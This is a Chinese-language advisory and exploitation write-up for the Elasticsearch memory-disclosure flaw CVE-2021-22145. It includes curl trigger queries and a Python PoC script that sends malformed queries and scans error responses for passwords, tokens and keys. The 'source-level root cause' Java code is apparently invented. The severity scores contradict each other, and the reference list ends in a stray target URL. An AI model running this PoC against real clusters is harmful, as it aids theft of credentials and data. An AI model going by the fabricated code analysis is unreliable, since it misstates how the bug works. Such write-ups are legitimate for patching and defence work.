一、漏洞简介¶
1.1 漏洞背景¶
2021年7月,Elastic 官方发布了 CVE-2021-22145,这是一个内存泄露漏洞,允许攻击者通过构造恶意查询从错误信息中获取敏感信息。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2021-22145 |
| 危害等级 | MEDIUM / 6.5 |
| 漏洞类型 | 内存泄露漏洞 |
| 披露时间 | 2021-07-21 |
| 影响组件 | Elasticsearch 安全 |
- 漏洞类型: 内存信息泄露 / 敏感信息暴露
- CVE ID: CVE-2021-22145
- 危害等级: 中危
- CVSS 评分: 4.3 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
- CWE ID: CWE-209 (Error Message Information Exposure), CWE-200
- 发现时间: 2021年7月
- 影响版本: Elasticsearch 7.10.0 - 7.13.3
补充核验信息:公开时间:2021-07-21;NVD 评分:6.5(MEDIUM);CWE:CWE-200。
二、影响范围¶
2.1 受影响的版本¶
- Elasticsearch 7.10.0 - 7.13.3
2.2 不受影响的版本¶
- Elasticsearch < 7.10.0
- Elasticsearch ≥ 7.13.4
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 攻击者能够向 Elasticsearch 提交查询
- 查询触发错误条件
- 错误信息返回给客户端
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
当 Elasticsearch 处理恶意构造的查询时,错误信息可能包含内存缓冲区的残留数据:
恶意查询 → 解析错误 → 返回错误信息(包含内存残留)
↓
敏感数据:密码、令牌、文档内容
这些残留数据可能来自: - 之前查询的文档内容 - 认证令牌 - 其他用户的敏感信息
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞代码(简化版):
// SearchPhaseController.java
public class SearchPhaseController {
public void executeQuery(SearchRequest request, ActionListener<SearchResponse> listener) {
try {
// 执行查询
SearchResponse response = searchService.execute(request);
listener.onResponse(response);
} catch (Exception e) {
// 漏洞:错误信息中可能包含缓冲区残留
BytesReference buffer = context.getBuffer();
String errorMsg = "Query failed: " + e.getMessage() +
"\nBuffer: " + buffer.utf8ToString();
listener.onFailure(new ElasticsearchException(errorMsg));
}
}
}
问题: - 缓冲区未清零就复用 - 错误信息包含过多调试数据 - 敏感数据未过滤
修复代码(7.13.4+):
public class SearchPhaseController {
public void executeQuery(SearchRequest request, ActionListener<SearchResponse> listener) {
try {
SearchResponse response = searchService.execute(request);
listener.onResponse(response);
} catch (Exception e) {
// 修复:只返回必要的错误信息
String errorMsg = "Query failed: " + e.getClass().getSimpleName();
listener.onFailure(new ElasticsearchException(errorMsg));
// 清理缓冲区
secureWipe(context.getBuffer());
}
}
private void secureWipe(BytesReference buffer) {
// 安全擦除缓冲区
Arrays.fill(buffer.array(), (byte) 0);
}
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 启动受影响版本
docker run -d --name es-cve-2021-22145 \
-p 9200:9200 \
-e "discovery.type=single-node" \
-e "xpack.security.enabled=true" \
-e "ELASTIC_PASSWORD=password123" \
docker.elastic.co/elasticsearch/elasticsearch:7.13.3
4.2 PoC 演示与测试过程¶
# 首先创建一些敏感数据
curl -u elastic:password123 -X POST "http://target:9200/secrets/doc/1" -H 'Content-Type: application/json' -d'
{
"api_key": "sk-secret-key-12345",
"password": "admin123"
}'
# 构造触发错误的查询
curl -u elastic:password123 -X POST "http://target:9200/_search" -H 'Content-Type: application/json' -d'
{
"query": {
"bool": {
"must": [
{
"script": {
"script": "invalid script syntax [[["
}
}
]
}
}
}'
# 查看错误响应中是否包含敏感信息
PoC 脚本:
#!/usr/bin/env python3
import requests
import json
import re
import sys
from requests.auth import HTTPBasicAuth
class CVE202122145:
def __init__(self, target, user, password):
self.target = target
self.auth = HTTPBasicAuth(user, password)
self.base_url = f"http://{target}:9200"
def create_sensitive_data(self):
"""创建测试数据"""
data = {
"secret_token": "super-secret-token-abc123",
"api_key": "sk-live-xxxxxxxxxxxx",
"password": "admin-password-123"
}
r = requests.post(
f"{self.base_url}/sensitive/doc/1",
json=data,
auth=self.auth
)
return r.status_code == 201
def trigger_memory_leak(self):
"""触发内存泄露"""
# 各种触发错误的查询模式
payloads = [
# 无效脚本语法
{
"query": {
"script": {
"script": "invalid[[["
}
}
},
# 无效正则
{
"query": {
"regexp": {
"field": "[invalid(regex"
}
}
},
# 类型错误
{
"query": {
"term": {
"nonexistent": {"field": "value"}
}
}
}
]
leaked_data = []
for payload in payloads:
try:
r = requests.post(
f"{self.base_url}/_search",
json=payload,
auth=self.auth
)
if r.status_code >= 400:
response_text = r.text
# 检查是否包含敏感信息
if any(s in response_text for s in ['secret', 'password', 'key', 'token']):
leaked_data.append({
'payload': payload,
'response': response_text
})
except Exception as e:
pass
return leaked_data
def exploit(self):
print("[*] Creating sensitive data...")
if self.create_sensitive_data():
print("[+] Data created")
print("[*] Triggering memory leak...")
leaks = self.trigger_memory_leak()
if leaks:
print(f"[+] Found {len(leaks)} potential memory leaks:")
for leak in leaks:
print(f"\n--- Leak ---")
print(json.dumps(leak, indent=2))
else:
print("[-] No memory leaks detected")
if __name__ == "__main__":
if len(sys.argv) < 4:
print("Usage: python exploit.py <target> <user> <password>")
sys.exit(1)
exploit = CVE202122145(sys.argv[1], sys.argv[2], sys.argv[3])
exploit.exploit()
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
- 升级到 Elasticsearch ≥ 7.13.4
- 或升级到 8.x 最新版本
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案一:限制错误信息详细程度
# elasticsearch.yml
# 限制返回的错误信息(需要插件支持)
logger.level: WARN
方案二:使用代理过滤响应
# 使用 Nginx 或自定义代理过滤敏感错误信息
import re
def filter_error_response(response):
# 移除可能的敏感数据
patterns = [
r'(password|token|key|secret)["\']?\s*[:=]\s*["\'][^"\']+["\']',
r'Buffer:\s*[\s\S]+'
]
for pattern in patterns:
response = re.sub(pattern, '[REDACTED]', response, flags=re.IGNORECASE)
return response
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177
- https://www.oracle.com/security-alerts/cpuapr2022.html
6.2 其他技术参考资料¶
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2021-22145
- CVE:https://www.cve.org/CVERecord?id=CVE-2021-22145
- https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177
- https://www.oracle.com/security-alerts/cpuapr2022.html
- https://gist.github.com/lucasdrufva/f9c5d7c9e26ee087b736d727953afd34
- https://security.netapp.com/advisory/ntap-20210827-0006/
- http://packetstormsecurity.com/files/163648/ElasticSearch-7.13.3-Memory-Disclosure.html
- http://target:9200/secrets/doc/1"